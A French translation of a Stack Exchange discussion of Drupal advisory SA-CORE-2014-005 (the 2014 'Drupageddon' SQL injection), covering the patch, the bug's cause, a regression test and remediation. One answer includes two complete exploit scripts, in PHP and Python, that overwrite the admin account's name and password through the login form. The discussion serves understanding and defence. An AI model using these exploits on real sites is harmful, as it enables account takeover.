Quel type d'attaque le correctif de SA-CORE-2014-005 (Drupal 7.32) empêche-t-il?

33

Lecture sur https://www.drupal.org/node/2357241 et les détails techniques sur https://www.drupal.org/SA-CORE-2014-005 , ainsi que le correctif actuel qui est simplement:

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

Je me demande quel genre de demande pourrait être faite qui utilise cet exploit?

Charlie Schliesser
la source
Pouvons-nous directement effectuer le changement de base? database.incfichier ?
Hitesh
@hitesh vous pouvez simplement patcher database.incdepuis le correctif ci-dessus (ou à la main, c'est évidemment un changement minime), mais je vous recommanderais également de patcher votre cœur de Drupal à fond dans son intégralité.
Charlie Schliesser
1
Pour ceux qui se demandent non pas quelles requêtes exploiteraient le bogue, mais quel est le bogue, j’ai posté une explication à Programmers.SE .
RomanSt
Même après la mise à niveau, quelqu'un peut toujours placer des fichiers .php sur mes sites. J'ai aussi vérifié menu_router - rien de suspect. J'ai aussi dirigé l'audit du site et drupalgetaddon
AgA

Réponses:

18

La société qui a détecté le bogue a quelques exemples dans l' avis 01/2014: Vulnérabilité liée à l'injection Drupal - pre Auth SQL :

Extrait:

La fonction suppose qu'elle est appelée avec un tableau qui n'a pas de clé. Exemple:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

Quels sont les résultats de cette instruction SQL

SELECT * from users where name IN (:name_0, :name_1)

avec les paramètres name_0 = user1et name_1 = user2.

Le problème se produit si le tableau a des clés qui ne sont pas des entiers. Exemple:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

cela donne une requête SQL exploitable:

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

avec des paramètres: name_test = user2.

Puisque Drupal utilise PDO, les requêtes multiples sont autorisées. Ainsi, cette injection SQL peut être utilisée pour insérer des données arbitraires dans la base de données, vider ou modifier des données existantes ou supprimer la base de données entière.

Avec la possibilité d'insérer des données arbitraires dans la base de données, un attaquant peut exécuter n'importe quel code PHP via des fonctionnalités Drupal avec callback.

Hans Rossel
la source
Merci pour le partage, je n'ai pas pu trouver cela en cherchant sur le sujet. The Problem occurs, if the array has keys, which are no integers- ceci et l'exemple de requête sont assez utiles pour comprendre cela.
Charlie Schliesser
19

Quoi de neuf avec 7.32 En vérifiant le module de test. Vous pouvez voir que le test suivant a été ajouté à 7.32;

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

Cela devrait vous aider à mieux concevoir une attaque.

Preuve de concept Depuis plus de suffisamment de temps a passé et il y a beaucoup de PoC dans la nature.

Poc # 1 - PHP

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

Poc # 2 Python - http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

Voici un blog qui fait bonne figure: http://www.volexity.com/blog/?p=83

Feu numérique
la source
Ce POC ne fonctionne pas ....
Kyle Browning
Pouvez-vous poster un POC avec lequel un pirate peut remplacer $ data par array_values ​​($ data) dans database.inc?
Hans Rossel
Je peux confirmer que cela a fonctionné avec un site Drupal à la vanille. C'est malheureux ...
AyeshK
Comme @greggles a dit que c'était un peu tôt, tout le monde n'a pas encore reçu le mémo. S'il vous plaît restreindre.
pal4life
Question - le "? Q =" est-il nécessaire pour que cette attaque fonctionne? il arrive que mon serveur lâche des requêtes avec un argument get de q (ou des équivalents Q ou codés en%). Juste curieux. Nous avons mis à jour des correctifs il y a quelque temps et nous n'avons pas vu de signes d'intrusion, mais je me demande si nous avons eu de la chance en rejetant les requêtes q =.
Kasapo
16

Les chercheurs qui ont trouvé le bug ont une preuve de concept. D'autres ont également développé des preuves de concept. Cependant, ils ne les publient pas à dessein pour tenter de réduire la probabilité qu’il soit largement exploité. Nous devrions respecter cette recherche et cette retenue et ne pas publier d’exemples ici.

Après un certain temps et la mise à niveau des sites, il sera très intéressant, d’un point de vue universitaire, de revoir le code d’attaque par preuve de concept. Jusque-là, il s'agit d'un risque inutile et d'attirer l'attention.

Le code de l’avis SektioinEins ne constitue pas un exemple complet de la façon de l’exploiter. Ils détaillent la faiblesse, mais n'identifient pas précisément comment exploiter réellement le problème.


Cela fait maintenant quelques semaines que le numéro a été publié et SektionEins a publié plusieurs preuves de concept sur son blog . Celles-ci sont assez intéressantes comparées à beaucoup d'autres preuves de concept développées car elles ne laissent que très peu de traces de leur activité (par exemple, rien dans la table menu_router).

greggles
la source
4

Je peux confirmer que cette vulnérabilité fonctionnera avec tous les sites Drupal 7.31 et inférieurs, quels que soient les modules actifs. Chaque formulaire drupal pourrait être utilisé pour exploiter cette vulnérabilité.

L'exploitation est assez simple, donc le PoC est déjà dans la nature. J'ai été en mesure d'attaquer son propre serveur et de modifier les mots de passe des utilisateurs en tant qu'utilisateur anonyme lors d'une nouvelle installation de Drupal, mais les possibilités sont infinies.

Ce bogue était connu il y a presque 1 an via https://www.drupal.org/node/2146839 mais personne de l'équipe de sécurité Drupal Core n'a répondu.

Pari
la source
Cela n'a pas été signalé comme un problème de sécurité, n'est-ce pas?
Alfred Armstrong
Il a été étiqueté avec "#security", une priorité de "majeur", un statut de "révision des besoins", et incluait un correctif qui accomplit fondamentalement ce que le correctif de 7.32 fait. Peut-être que #devant "la sécurité" empêchait quelqu'un de voir ce qui se passerait autrement, ou peut-être qu'il y a trop de problèmes dans la file d'attente. Encore surprenant que personne n’y ait répondu.
Charlie Schliesser
3
Cela n'a pas été signalé comme un problème de sécurité, alors l'équipe de sécurité ne l'a probablement pas vu. Mais oui, le gars n'était pas sûr que ce soit un problème de sécurité, c'est probablement pourquoi.
Berend de Boer
2
Il a été signalé comme une "demande de fonctionnalité", même pas comme un bogue. Les nouvelles fonctionnalités ne sont pas acceptées dans la version stable de Drupal, il est donc normal qu’elles ne soient pas examinées. Les problèmes de sécurité ne doivent jamais être publiés publiquement, il existe une page claire expliquant
Hans Rossel
4

Je me demandais comment cela pourrait être exploité et combien de temps et d'efforts cela prendrait? Par conséquent, j'ai décidé d'installer l'ancienne version de Drupal 7 sur mon hôte local et de procéder à l'ingénierie inverse de ce bogue. Ce que j’ai découvert, c’est un bug choquant qui donne à toute personne disposant des connaissances de base en HTML / SQL un accès complet à votre site Drupal.

J'ai réussi à exécuter l'injection SQL dans Drupal 7 en utilisant un utilisateur anonyme en moins de 30 minutes d'essayer!

http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo

REMARQUE: cela ne vous permet toujours pas de vous connecter car Drupal utilise SHA512 avec du sel, il est donc impossible de se connecter. Intentionnellement, je n'ai pas mis le code ici, mais évidemment, toute personne possédant un minimum de connaissances Drupal saura comment résoudre ce problème et construire la requête qui vous donnera un accès complet!

Cela ouvre une question sur le degré de sécurité de Drupal et des responsables de ce type de problème. Apparemment, ce bug était connu depuis plus d'un an ( https://www.drupal.org/node/2146839 ), mais personne n'a réagi sur Drupal.org. Accidentellement ou intentionnellement? :)

tamerzg
la source
1

Il s'agit d'un correctif d'une vulnérabilité d'injection SQL dans laquelle des instructions SQL malveillantes sont insérées dans un champ de saisie pour exécution et pourraient par exemple conduire à la publication du contenu de la base de données. Ce correctif est important à appliquer dès que possible, notamment parce que cette vulnérabilité peut être exploitée par des utilisateurs anonymes.

Si vous ne pouvez pas mettre à jour immédiatement l’équipe de sécurité, vous pouvez appliquer ce correctif qui fournira la même protection jusqu’à ce que vous puissiez effectuer la mise à niveau complète 1 . En outre, l’équipe de sécurité a préparé des FAQ concernant ce problème. Mettre votre site en mode maintenance ne vous aidera pas . Veuillez vider le cache après avoir appliqué la mise à jour ou assurez-vous que vous utilisez la version 7.32.

En outre, vous devriez vérifier si votre site n'a pas été compromis. Certains sites signalent déjà des problèmes. Voici un article de blog qui suggère comment vérifier que la mise à jour de Drupal 7.32 ne suffit pas, votre site est peut-être déjà piraté.

J'applique le correctif le 15 octobre et mes sites ont déjà signalé qu'une personne essayait d'exploiter cette vulnérabilité.

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (line 2149  
Cayerdis
la source